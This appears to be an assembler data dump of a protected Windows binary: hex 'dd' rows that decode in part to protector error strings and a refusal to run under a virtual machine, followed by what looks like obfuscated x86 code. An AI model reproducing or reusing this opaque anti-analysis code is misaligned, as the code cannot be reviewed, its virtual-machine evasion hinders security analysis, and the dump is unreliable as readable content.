		dd 65636F72h, 726F7373h, 6F432073h, 6F72746Eh, 6C42206Ch
		dd 736B636Fh, 6C50202Eh, 65736165h, 630D0A2Ch, 61746E6Fh
		dd 69207463h, 406F666Eh, 6165726Fh, 632E736Eh, 66206D6Fh
		dd 7420726Fh, 20736968h, 6F727265h, 72h, 1040000h, 53330000h
		dd 7972726Fh, 6874202Ch, 61207369h, 696C7070h, 69746163h
		dd 63206E6Fh, 6F6E6E61h, 75722074h, 6E75206Eh, 20726564h
		dd 69562061h, 61757472h, 614D206Ch, 6E696863h, 65h, 6Fh	dup(0)
		dd 10000000h, 0
		dd 0FFFF0001h, 17FFEh, 10000h, 24A0000h, 0
		dd 0F0001h, 94000408h, 5000000h, 1000000h, 28000000h, 200000Ah
		dd 21h dup(0)
		dd 53000000h, 7774666Fh, 5C657261h, 656E6957h, 8AC48B00h
		dd 0D8589CCh, 8A062229h, 0F59503D3h, 8B062220h,	0D98166C0h
		dd 0BD8334CAh, 62208DDh, 83097500h, 220A21BDh, 19740006h
		dd 0C08B5350h, 43DB8h, 39858900h, 8D06221Bh, 24BFC99Dh
		dd 5BD3FF06h, 21BD8358h, 6220Ah, 53501774h, 43DB8h, 39858900h
		dd 8D06221Bh, 24BCB89Dh, 5BD3FF06h, 65BD0158h, 0F062226h
		dd 680h, 7CF28100h, 8B112FB5h, 8BCF8BC0h, 958B60C0h, 6221A09h
		dd 32E9958Bh, 83610622h, 2208DDBDh, 9750006h, 0A21BD83h
		dd 74000622h, 8B535013h, 0B8C0h, 9D8D0000h, 624BE6Bh, 585BD3FFh
		dd 0A21BD83h, 74000622h, 0B8535011h, 0
		dd 0BD1C9D8Dh, 0D3FF0624h, 9533585Bh, 62231C5h,	8BC88B66h
		dd 0B1C08BC0h, 0DDBD8335h, 62208h, 0BD830975h, 6220A21h
		dd 50137400h, 0B8C08B53h, 0
		dd 0BD9D9D8Dh, 0D3FF0624h, 0BD83585Bh, 6220A21h, 50117400h
		dd 0B853h, 9D8D0000h, 624BCEAh,	585BD3FFh, 0FC9B70Fh, 188Eh
		dd 13E900h, 2B7B0000h, 45CA1387h, 472C0AAEh, 9AC935B5h
		dd 29B83E26h, 0BD895382h, 6221629h, 6AC08B5Fh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 0D6C2C357h, 9EEFA82Ah, 0B966876Ah, 0C08BA330h, 0FE18D8Bh
		dd 95890622h, 6222115h,	8DDBD83h, 75000622h, 21BD8309h
		dd 6220Ah, 53501374h, 0B8C08Bh,	8D000000h, 24BE049Dh, 5BD3FF06h
		dd 21BD8358h, 6220Ah, 53501174h, 0B8h, 39D8D00h, 0FF0624BDh
		dd 0F585BD3h, 684h, 5D8D8900h, 89062207h, 222909B5h, 8BC08B06h
		dd 22029195h, 0FC08B06h, 68Fh, 119D2900h, 83062228h, 2208DDBDh
		dd 9750006h, 0A21BD83h,	74000622h, 8B535013h, 0B8C0h, 9D8D0000h
		dd 624BD36h, 585BD3FFh,	260DBD89h, 0C08B0622h, 8B36EE80h
		dd 51006AC0h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 0BEFDC2F6h, 19C58D8Bh, 0BD830622h, 62208DDh
		dd 83097500h, 220A21BDh, 19740006h, 0C08B5350h,	7D0B8h
		dd 39858900h, 8D06221Bh, 24BFC99Dh, 5BD3FF06h, 21BD8358h
		dd 6220Ah, 53501774h, 7D0B8h, 39858900h, 8D06221Bh, 24BCB89Dh
		dd 5BD3FF06h, 0F5B53158h, 89062209h, 2208B585h,	81C08B06h
		dd 636195EFh, 1850F3Eh,	0F8000000h, 330985C6h, 66530622h
		dd 0AEB2D981h, 395F9068h, 0B5FFF599h, 62233A9h,	28EA8166h
		dd 0F1858DB4h, 6A06223Ah, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 0E6DC356h, 0EAD44EA0h
		dd 0B11565A4h, 89D0FFC7h, 22206585h, 0D2BF0F06h, 330985C6h
		dd 8B570622h, 520668F8h, 0B5FF9004h, 62233A9h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 18C35141h, 898D29D0h
		dd 2906221Fh, 22109DBDh, 0F1858D06h, 5006223Ah,	32CDBD89h
		dd 0FF5A0622h, 0CFB70FD0h, 1C358589h, 9D290622h, 62215C9h
		dd 330985C6h, 0E8430622h, 9, 981707BDh,	169DC88Ch, 68E0F65h
		dd 8B000000h, 220F5195h, 28685F06h, 0FBC9070h, 38Ch, 0D2B70F00h
		dd 0FFFFB70Fh, 2233A9B5h, 68B0F06h, 8B000000h, 221B0D8Dh
		dd 0ED958906h, 8D062233h, 223AF185h, 0FE806h, 7C150000h
		dd 1A732439h, 6ED6AE59h, 0FC1E07BEh, 3D95232Bh,	5F06220Eh
		dd 4BBFD0FFh, 8949AB91h, 221F1585h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 0E46CD956h
		dd 665C87CEh, 4CCDEF81h, 330985C6h, 6A4C0622h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 917FC351h, 8E9C7h, 81630000h, 0B0F705C5h, 9D29BF37h
		dd 62214A5h, 0DA1CE968h, 0D9589D9h, 0FF062222h,	2233A9B5h
		dd 7E806h, 6F990000h, 0D4C9D748h, 0CDD9804Fh, 0F1858D59h
		dd 0BF06223Ah, 5CC50FE1h, 0D6EF8166h, 89D0FF2Ah, 22186185h
		dd 19DAB906h, 0BD8961FBh, 6221461h, 330985C6h, 52460622h
		dd 9E9h, 31371200h, 0C739F192h,	685FDEE6h, 0BADE0614h
		dd 33A9B5FFh, 958B0622h, 6221941h, 3AF1858Dh, 8D8B0622h
		dd 62202A5h, 6E9D0FFh, 27000000h, 3B5EA79Ch, 0D1858933h
		dd 6A06222Fh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 3FFFC353h, 6880Fh, 958B0000h
		dd 62226A1h, 330985C6h,	9470622h, 2208398Dh, 41B96606h
		dd 0B5E268D2h, 0EF818A0Fh, 5DBB82B3h, 33A9B5FFh, 0E1810622h
		dd 12450620h, 3AF1858Dh, 2ABF0622h, 0FF674ADCh,	218589D0h
		dd 0E8062211h, 0Eh, 5312E86Fh, 1D503ADCh, 3D21215Dh, 8E90650h
		dd 0FB000000h, 0F9C3081Ch, 5A2A5B1Bh, 30D8589h,	6A0622h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 80C02C3h, 0FA103253h, 0FF8F872h, 584h, 0C7816600h, 85C6B092h
		dd 6223309h, 0D3B70F47h, 0D0B5F368h, 0FFFAB683h, 2233A9B5h
		dd 13E906h, 707D0000h, 347CFA92h, 91E77692h, 693A27DFh
		dd 0DFC42FD4h, 0F1858DB0h, 6A06223Ah, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 364CC353h
		dd 390D4AC1h, 0BD8B9D2Bh, 6223379h, 0A898D8Bh, 0D0FF0622h
		dd 339D9D89h, 85890622h, 6220111h, 0C6C88B66h, 22330985h
		dd 11E97706h, 0DD000000h, 49DB912Bh, 60734AE7h,	0DE4ECA92h
		dd 0AB268152h, 97A8A368h, 3820FF3h, 0F000000h, 0B5FFC9BFh
		dd 6220FC9h, 0EF58589h,	8B660622h, 0F1858DD0h, 8B06223Ah
		dd 22305595h, 66D0FF06h, 43BDE281h, 7018589h, 85C60622h
		dd 6223309h, 0D58D8B47h, 68062210h, 8728FAF6h, 0FF48F180h
		dd 2233A9B5h, 85EA8006h, 3AF1858Dh, 8B0F0622h, 6, 18B3C781h
		dd 0D0FF25D6h, 0EE8h, 0F4D25500h, 5A703542h, 0FAD0B85Fh
		dd 0F55B5132h, 0F185895Fh, 6A062209h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0E8C5C357h
		dd 0B950D648h, 36FEC279h, 330985C6h, 33430622h,	22183D95h
		dd 0FC68F906h, 6ABC8E6Eh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 5292C353h, 123D9BCDh
		dd 59D8996h, 8B062229h,	22195995h, 4DBD8B06h, 0FF062200h
		dd 2233A9B5h, 55BD0106h, 0F062210h, 38Bh, 0FA8B6600h, 3AF1858Dh
		dd 0BE90622h, 5B000000h, 56DFFA47h, 5274739Eh, 0D0FFB22Fh
		dd 6830Fh, 95890000h, 62221F5h,	3E18589h, 0CE90622h, 0AE000000h
		dd 0E8D98AD4h, 5B9DD7ECh, 0C61A4944h, 22330985h, 6A4506h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 801FEC3h, 9AAACB8Eh,	8D0FB9h, 89000000h, 22014D8Dh
		dd 69696806h, 0FFF58E72h, 2233A9B5h, 0F1858D06h, 8006223Ah
		dd 0D0FFD4F1h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 16h,	58C35040h, 9D897444h, 6221A6Dh,	15C99589h, 85890622h
		dd 62201A9h, 958BF78Ah,	6221595h, 330985C6h, 8B440622h
		dd 2201ADBDh, 681AB606h, 0B8F2EC64h, 0FF2FE280h, 2233A9B5h
		dd 0D2BF0F06h, 3AF1858Dh, 66600622h, 0B70FFB8Bh, 0D0FF61F0h
		dd 1DB5BD8Bh, 85890622h, 6221321h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 96C35545h, 0CE97D1Eh, 63000000h
		dd 91134455h, 7D8247F3h, 0C61BB3ACh, 22330985h,	9D894306h
		dd 62219E5h, 764AA768h,	0B5FFF8C0h, 62233A9h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 45C35141h, 3AF1858Dh
		dd 0BD890622h, 6221AE1h, 98EF8166h, 60D0FF7Bh, 2FFD9D89h
		dd 0B5890622h, 6220EA9h, 8C0F6061h, 6, 1897CE81h, 0BD895302h
		dd 62214A5h, 0C5858961h, 6A06222Fh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 8055C355h
		dd 250D64BDh, 840F0006h, 0DAh, 0D46858Dh, 0EA810625h, 14F87B45h
		dd 53006A50h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 2DB74BAh, 0E8452F7Bh
		dd 12h,	7BE25099h, 522CC7CFh, 0E14DF3D7h, 3EAD5B24h, 0E9813EF5h
		dd 1232D3Ah, 8A016A5Fh,	0F006AF0h, 1389h, 0EE900h, 0AF0000h
		dd 0E1B9301Bh, 5258F58h, 0F40B8617h, 958B006Ah,	6222AF1h
		dd 1F1595FFh, 95890622h, 6221E95h, 271D8589h, 0FEB10622h
		dd 6AFF6Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 0D128BEC3h, 29216343h, 22125185h,	0D7816606h
		dd 0B5FF1665h, 622271Dh, 188D8D8Bh, 95FF0622h, 6221C35h
		dd 2619BD8Bh, 8C0F0622h, 6, 17E1BD33h, 0C08B0622h, 152D9589h
		dd 0BD830622h, 62208DDh, 83097500h, 220A21BDh, 19740006h
		dd 0C08B5350h, 7D1B8h, 39858900h, 8D06221Bh, 24BFC99Dh
		dd 5BD3FF06h, 21BD8358h, 6220Ah, 53501774h, 7D1B8h, 39858900h
		dd 8D06221Bh, 24BCB89Dh, 5BD3FF06h, 0F4CF8158h,	8B05F537h
		dd 0BAC08BD7h, 184EA68Eh, 330985C6h, 89470622h,	222AD9B5h
		dd 0F7C16806h, 0B53193C8h, 6220819h, 33A9B5FFh,	66510622h
		dd 590BA9BAh, 3AF1858Dh, 95090622h, 6221F91h, 0C180D0FFh
		dd 6A5005h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 2C8FE9C3h, 0F37D935Ah, 89601CD3h,	22209D85h
		dd 87858D06h, 6A062511h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 0E933C357h,	11958BADh
		dd 8B062228h, 9400C7CBh, 8B000000h, 2207898Dh, 0BD8B5806h
		dd 62210B5h, 1187B58Dh,	13E90625h, 0B2000000h, 0E01D056Bh
		dd 1C9981AFh, 3E359826h, 1014AFCDh, 0FE96BCCh, 5000000h
		dd 0AA157076h, 454EA24h, 0C6AF0F19h, 6656D1FBh,	0FFFC94BAh
		dd 6800FD0h, 89000000h,	220341BDh, 87858D06h, 33062511h
		dd 2208F18Dh, 4788306h,	2D850F06h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 1E2C355h, 221A9D85h,	1B85C706h, 1062512h, 0F9000000h
		dd 1B99BD83h, 0F000622h, 4885h,	0D3B70F00h, 121BBD83h
		dd 0F000625h, 3885h, 14E900h, 9FBA0000h, 30DDBBB1h, 0DE3428ABh
		dd 46C620F8h, 3C40226Dh, 0BD8397D3h, 6222171h, 12840F00h
		dd 0BA000000h, 6E33CC54h, 259985C7h, 622h, 0BF0F0000h
		dd 0DB8C66D1h, 0F6D38B66h, 840F04C3h, 4B0h, 85C729B5h
		dd 62200F5h, 0
		dd 6419589h, 0BD800622h, 6250D71h, 0C850F00h, 0E9000000h
		dd 7, 0F9312C7Ch, 0C681A549h, 22330985h, 9AB94706h, 68425A9Fh
		dd 0E3E45B86h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ah,	0A9C35040h, 5759B5E3h, 0BD89B812h, 62225F9h, 33A9B5FFh
		dd 8DF90622h, 223AF185h, 1D0FF06h, 2225B185h, 51958B06h
		dd 68062212h, 104h, 9D8D49B1h, 6222AFDh, 68D9D89h, 8B530622h
		dd 22082995h, 80D0FF06h, 858D1DF2h, 6222AFDh, 0C19D0950h
		dd 5A062205h, 0F98B6650h, 0D23858Dh, 81500625h,	0E3D887EFh
		dd 0F6858D34h, 6A062503h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 0CFE5C353h,	0DB006F01h
		dd 79BB1D4Eh, 1EADBD01h, 6A500622h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 5135C353h
		dd 95FFFA8Bh, 6220701h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 61C35545h, 9EC500B9h,	9E8h, 74CE5300h
		dd 4E0BD00Fh, 0B70F8E4Dh, 0C4835AFAh, 8E90Ch, 0FB150000h
		dd 9DF3275Eh, 6A2D1Fh, 8068h, 6A036A00h, 68006A00h, 80000000h
		dd 3F6858Dh, 0FF500625h, 2203E195h, 6858906h, 0C606250Dh
		dd 22330985h, 87684706h, 0FFC7B15Eh, 2233A9B5h,	0F1858D06h
		dd 0FF06223Ah, 0FF006AD0h, 250D06B5h, 66D0FF06h, 4548C281h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 2CC35343h
		dd 37D03Dh, 2E830F00h, 89000000h, 221B3DBDh, 6B5FF06h
		dd 0F06250Dh, 589h, 0C1816600h,	95FFB5ADh, 6222FC5h, 3079BD8Bh
		dd 0B2E90622h, 8B000000h, 2221F595h, 6B5FF06h, 0F06250Dh
		dd 95FFFBB7h, 6222FC5h,	229950Bh, 6A0622h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 59C35242h, 9D29A8B4h
		dd 62209E5h, 6A006Ah, 16599D89h, 6A0622h, 81DBD23h, 6A0622h
		dd 0AEDB51BAh, 6A006A28h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 0FB7EC351h,	9FFFBF66h
		dd 0D0A858Dh, 5E90625h,	0BA000000h, 80A58E3Ah, 0B58D8950h
		dd 0FF06221Fh, 2203E195h, 5E906h, 0A2160000h, 83498BAAh
		dd 850FFFF8h, 11Dh, 0D0BF0F52h,	96858D59h, 660624C8h, 29A4A1B9h
		dd 221A7DB5h, 0E8D0FF06h, 0Dh, 0F99127Eh, 486A092Fh, 78E4B648h
		dd 5AC88A84h, 0B966006Ah, 6AF73Ch, 9D09006Ah, 6221065h
		dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 0F3674FC3h, 79BD8B5Dh, 0F06220Ah,	581h, 0C681B900h
		dd 6A2248h, 0E850006Ah,	3, 58C35820h, 4244489h,	4244481h
		dd 1Bh,	0B4C35040h, 4C2E9CE0h, 6042139Fh, 0BD895A57h, 622006Dh
		dd 66006A61h, 0A251EF81h, 0D0A858Dh, 0BD890625h, 6220509h
		dd 0A9958B50h, 0FF06220Eh, 2203E195h, 0F883F906h, 56850FFFh
		dd 60000000h, 2981BD89h, 8D890622h, 62205F5h, 12B58D61h
		dd 29062507h, 22261D9Dh, 3F858D06h, 310624B2h, 223159BDh
		dd 0FD0FF06h, 983h, 38E0F00h, 0F000000h, 6AD2B7h, 2E77DCB9h
		dd 68E0F2Ah, 9000000h, 220FB9BDh, 0A995FF06h, 81062201h
		dd 90EC77D2h, 685894Ch,	8B06250Dh, 2208F9BDh, 8B006A06h
		dd 0FE858DCEh, 0B906250Ch, 33E211FEh, 0CE950h, 1C610000h
		dd 0DBF903AEh, 35D0B911h, 0BA600B06h, 1D7E030Fh, 6A046A61h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 6EDFC352h, 0E9FCC8E5h, 0Dh, 0CC0E816Ah, 6B2A6B89h
		dd 48A4AF5Dh, 0C1858DF2h, 8B062232h, 2225658Dh,	158D8B06h
		dd 50062231h, 3D5496BAh, 6AF929h, 37DF8166h, 9006A56h
		dd 2212858Dh, 6A54B506h, 0FE801h, 36CA0000h, 3F91B27h
		dd 0E96AE032h, 0C25D8436h, 6D8D8B12h, 5F062221h, 0D06B5FFh
		dd 6A0625h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 50BA26C3h, 0B09020BFh, 2195FF41h,	89062213h
		dd 2204E1BDh, 1A1AE906h, 0CA810000h, 24D5F02Bh,	0F4ABB966h
		dd 0B589C08Bh, 6223079h, 8DDBD83h, 75000622h, 21BD8309h
		dd 6220Ah, 53501974h, 0D2B8C08Bh, 89000007h, 221B3985h
		dd 0C99D8D06h, 0FF0624BFh, 83585BD3h, 220A21BDh, 17740006h
		dd 0D2B85350h, 89000007h, 221B3985h, 0B89D8D06h, 0FF0624BCh
		dd 66585BD3h, 89022BB9h, 221D99BDh, 0E8C08B06h,	6, 86EE903Dh
		dd 0CF8BEB6Ch, 0F585C75Fh, 1062200h, 89000000h,	2210A99Dh
		dd 0E7B86806h, 0B5FFCEE4h, 6221AC9h, 3AF1858Dh,	0D0FF0622h
		dd 14FD8589h, 858D0622h, 6250F62h, 1F858D50h, 50062512h
		dd 168h, 0FD95FF80h, 0B062214h,	0C70A75C0h, 22268185h
		dd 106h, 0DBD46800h, 0B5FFC005h, 6221AC9h, 3AF1858Dh, 0D0FF0622h
		dd 6698589h, 858D0622h,	62501AFh, 0A9B5FF50h, 0FF062233h
		dd 22030D95h, 74C00B06h, 8DD88B0Bh, 25116285h, 0D3FF5006h
		dd 1162858Dh, 83660625h, 0A750938h, 40185C7h, 10622h, 95FF0000h
		dd 62209F1h, 0FF25h, 5F88300h, 85C70A73h, 6221B85h, 1
		dd 1EE9B589h, 6A0622h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 297F24C3h, 221DD58Dh, 9E906h, 0F5790000h
		dd 3A97029Fh, 80504CF9h, 250D71BDh, 840F0006h, 2Fh, 9E8h
		dd 3F784500h, 3057F702h, 0BD8B4025h, 62219B9h, 1BBD8359h
		dd 62512h, 18840Fh, 0BA530000h,	9D6A06Ah, 6185895Fh, 0E906221Dh
		dd 1870h, 18998D89h, 0BD830622h, 6220401h, 97850F00h, 31000000h
		dd 222D958Dh, 3B858D06h, 8906250Dh, 2210A595h, 8E95006h
		dd 3E000000h, 764B0193h, 6A051E6Eh, 0ACC6BF01h,	6A0692h
		dd 958B006Ah, 6222021h,	1F1595FFh, 85890622h, 6250D65h
		dd 7C23F281h, 0FF6A6DA4h, 0FDCA8160h, 89692693h, 221BD59Dh
		dd 0B5FF6106h, 6250D65h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 18h, 0D8C35646h, 4A34B445h, 0E69BD8Bh, 95FF0622h
		dd 6221C35h, 0DE9h, 8350E000h, 0A1A9E6E8h, 0B257F987h
		dd 858DAD7Ah, 6250176h,	22E1B966h, 0FFDFB150h, 22186195h
		dd 0D9816606h, 8589AAADh, 6250200h, 8D50F680h, 25018385h
		dd 6650F506h, 0B5FFD18Bh, 6250200h, 28E0Fh, 0D18B0000h
		dd 3870Fh, 0C5800000h, 0D95FF70h, 8B062203h, 22146195h
		dd 25858906h, 81062220h, 86FB9AD9h, 0F1858D5Bh,	66062501h
		dd 8556D981h, 13E8h, 0BA2DF100h, 5B8BAC15h, 0C95E453Ah
		dd 0ABF4E17Dh, 605F12DCh, 20559589h, 50590622h,	6D98D89h
		dd 0B5FF0622h, 6250200h, 6E8h, 74AEC700h, 0E971642Fh, 8
		dd 0AA8D8AF0h, 0E4CD65CCh, 95FFFC59h, 622030Dh,	12E9h
		dd 35F3DF00h, 1D2181A7h, 0CAAD6F64h, 1A3066DFh,	8929DCF8h
		dd 25021485h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 0C2FB99A6h, 3810Fh, 8B660000h, 0D0858DF8h
		dd 1062501h, 22286D9Dh,	0B5FF5006h, 6250200h, 0E853006Ah
		dd 3
		dd 5BC35B20h, 4245C89h,	4244481h, 16h, 70C35343h, 95FFDA2Bh
		dd 622030Dh, 0ECD8D8Bh,	85890622h, 625020Ch, 48B0Fh, 0BF660000h
		dd 858D6E32h, 62501C3h,	6A50D68Bh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 0E18C355h
		dd 0F16E765h, 8589C162h, 6222691h, 200B5FFh, 0FB8B0625h
		dd 30D95FFh, 0C5B50622h, 2108589h, 6A0625h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 0A4D634C3h
		dd 858D8081h, 62501DEh,	1A7D9589h, 60500622h, 1631B529h
		dd 61F80622h, 200B5FFh,	0BF0F0625h, 0D95FFFAh, 0E8062203h
		dd 9, 62F3367Eh, 0C526D33Dh, 0E9852924h, 5F062227h, 5198589h
		dd 8DF90622h, 25019285h, 0C8BF0F06h, 53B96650h,	0B5FF16h
		dd 89062502h, 221B9185h, 0D95FF06h, 89062203h, 25020485h
		dd 21F18106h, 8D31C84Ah, 2501A185h, 7DBD8B06h, 5006221Fh
		dd 6E6FF5BFh, 0B5FF6Dh,	89062502h, 22270585h, 0D95FF06h
		dd 80062203h, 8589D7C9h, 6250208h, 4BF28166h, 10468F0h
		dd 0F2810000h, 9708862h, 21E18D29h, 858D0622h, 6250298h
		dd 12E9h, 8B127000h, 0A2B0DCD1h, 6505C374h, 0BD4EBBACh
		dd 50B934B9h, 858D12B1h, 625039Ch, 11E9h, 9750D400h, 0F0EB4178h
		dd 4C36522h, 0A6C17A5Eh, 81506259h, 1007F9F7h, 1195FF0Eh
		dd 6A062201h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 16042444h, 43000000h, 0E29CC353h, 0B529F5CFh, 6220F8Dh
		dd 850FC085h, 6, 1A518D89h, 0BD800622h,	6250D71h, 33850F00h
		dd 0E9000000h, 14DCh, 0E853006Ah, 3, 5BC35B20h,	4245C89h
		dd 4244481h, 18h, 8DC35343h, 0A8484A5Ah, 68A0F60h, 0F000000h
		dd 8Eh,	0BD836100h, 6220401h, 4C850F00h, 0E8000000h, 0Bh
		dd 0C4405A63h, 82A327CEh, 80574D41h, 895A90D2h,	220A01B5h
		dd 1BBD8306h, 62512h, 43840Fh, 6A0000h,	3E856h,	5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 190CC9C3h
		dd 2C055847h, 8D3E7308h, 25023585h, 49E9FC06h, 0E9000014h
		dd 7, 0FB06A53Ch, 0E9AB5911h, 0Ch, 20858DFCh, 66062502h
		dd 564AE781h, 0D98D8950h, 8D062206h, 25029885h,	50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 0D5D5233Eh, 2A31BD89h, 6A500622h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 65D3C350h
		dd 0B94454AAh, 264739Ah, 401BD83h, 0F000622h, 4984h, 4AC18100h
		dd 8B16ABE3h, 2230FD95h, 0BE858D06h, 8B062503h,	220F49BDh
		dd 3BE906h, 6A0000h, 3E851h, 59200000h,	4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 7833F1C3h, 6CB9C5EDh, 32E9BD29h
		dd 0BF660622h, 858DF7ADh, 62503A7h, 81FAB70Fh, 0F15D14E2h
		dd 8DF55027h, 2503F685h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 45C2EE14h, 860FE396h
		dd 11h,	9E8h, 0E52AC500h, 0BF83750Ch, 48B69DB5h, 6A505Ah
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 0CF79CEC3h, 95896052h, 622210Dh, 1411B589h, 5A610622h
		dd 70195FFh, 870F0622h,	6, 4758D8Bh, 0C4830622h, 49952910h
		dd 8B062207h, 9E8C0h, 0EC970000h, 71AD74F4h, 0FC6688F0h
		dd 0DDBD835Fh, 62208h, 0BD830975h, 6220A21h, 50197400h
		dd 0B8C08B53h, 7D3h, 1B398589h,	9D8D0622h, 624BFC9h, 585BD3FFh
		dd 0A21BD83h, 74000622h, 0B8535017h, 7D3h, 1B398589h, 9D8D0622h
		dd 624BCB8h, 585BD3FFh,	0E499D89h, 8D0B0622h, 622033Dh
		dd 8531C08Bh, 622208Dh,	245BD31h, 0BD810622h, 6250220h
		dd 6165726Fh, 0BD840Fh,	6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 5A27BFC3h, 0E579947Ch
		dd 98858D99h, 50062502h, 3D5858Dh, 8D500625h, 2503F685h
		dd 95FF5006h, 6220701h,	0C60CC483h, 22330985h, 4F684406h
		dd 0FF96A318h, 2233A9B5h, 0F1858D06h, 0FF06223Ah, 8DD88BD0h
		dd 2503F685h, 0D3FF5006h, 220858Dh, 8D500625h, 25029885h
		dd 0BD835006h, 6220401h, 8D087400h, 2503BE85h, 8D06EB06h
		dd 2503A785h, 858D5006h, 62503F6h, 195FF50h, 83062207h
		dd 9E810C4h, 0A5000000h, 10336CEh, 40BF685Bh, 6840Fh, 95030000h
		dd 6222205h, 0E58D015Ah, 0FF06222Ah, 2209F195h,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 892A9319h, 2220C5BDh, 0FF2506h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0B04E04C3h
		dd 0FF2C82E4h, 6800F9Ch, 31000000h, 222D398Dh, 5F88306h
		dd 2C830Fh, 81660000h, 0C79D52C2h, 221B8585h, 106h, 0B1B58900h
		dd 8D062207h, 25025485h, 0FFC78106h, 0E96234D3h, 5Ah, 1EA5BD8Bh
		dd 0BD830622h, 6220401h, 20840F00h, 66000000h, 8AF3FAB9h
		dd 7F858DF5h, 66062502h, 33E9D68Bh, 81000000h, 13EA2DE7h
		dd 4C98151h, 8D1B32D7h,	25026185h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 6658EFB2h
		dd 8589CF8Bh, 6250294h,	0A99BD29h, 0BD830622h, 6220401h
		dd 54850F00h, 0E8000000h, 13h, 0F847F917h, 0C174B843h
		dd 0FA300698h, 38CA8C92h, 66E8DDA3h, 835AD68Bh,	25121BBDh
		dd 840F0006h, 59h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Dh, 8CC35040h, 0A6EE70E9h, 965FD8F8h, 0E59D8905h
		dd 0E9062200h, 1048h, 0AE8h, 0C4D61400h, 836DE194h, 8B814EF7h
		dd 22306D8Dh, 0EE95906h, 0A8000000h, 4BD37024h,	0AB4ACF68h
		dd 149FF7DAh, 3C6E900h,	0BD290000h, 6221651h, 0BD01C08Bh
		dd 6221649h, 8DDBD83h, 75000622h, 21BD8309h, 6220Ah, 53501974h
		dd 0D4B8C08Bh, 89000007h, 221B3985h, 0C99D8D06h, 0FF0624BFh
		dd 83585BD3h, 220A21BDh, 17740006h, 0D4B85350h,	89000007h
		dd 221B3985h, 0B89D8D06h, 0FF0624BCh, 89585BD3h, 221DA59Dh
		dd 13E906h, 0BD700000h,	6E0BB07Bh, 32FE5A59h, 0BB443D2Dh
		dd 628C4AE6h, 66C08B90h, 687C88BAh, 0F003Fh, 0AB19C781h
		dd 6A492Ah, 243D8D8Bh, 6A0622h,	95FFF78Ah, 6222025h, 0DE8h
		dd 5C8A6900h, 0CD60B411h, 76C9F9B1h, 870F474Ch,	6, 0C7C4CA81h
		dd 855A5ABEh, 6850FC0h,	1000000h, 221D458Dh, 18858906h
		dd 8B062502h, 222C9995h, 0E9006A06h, 5,	8A96DA68h, 8B006A73h
		dd 223019BDh, 8B006A06h, 66006ACAh, 8F0FCE8Bh, 1, 53006AF9h
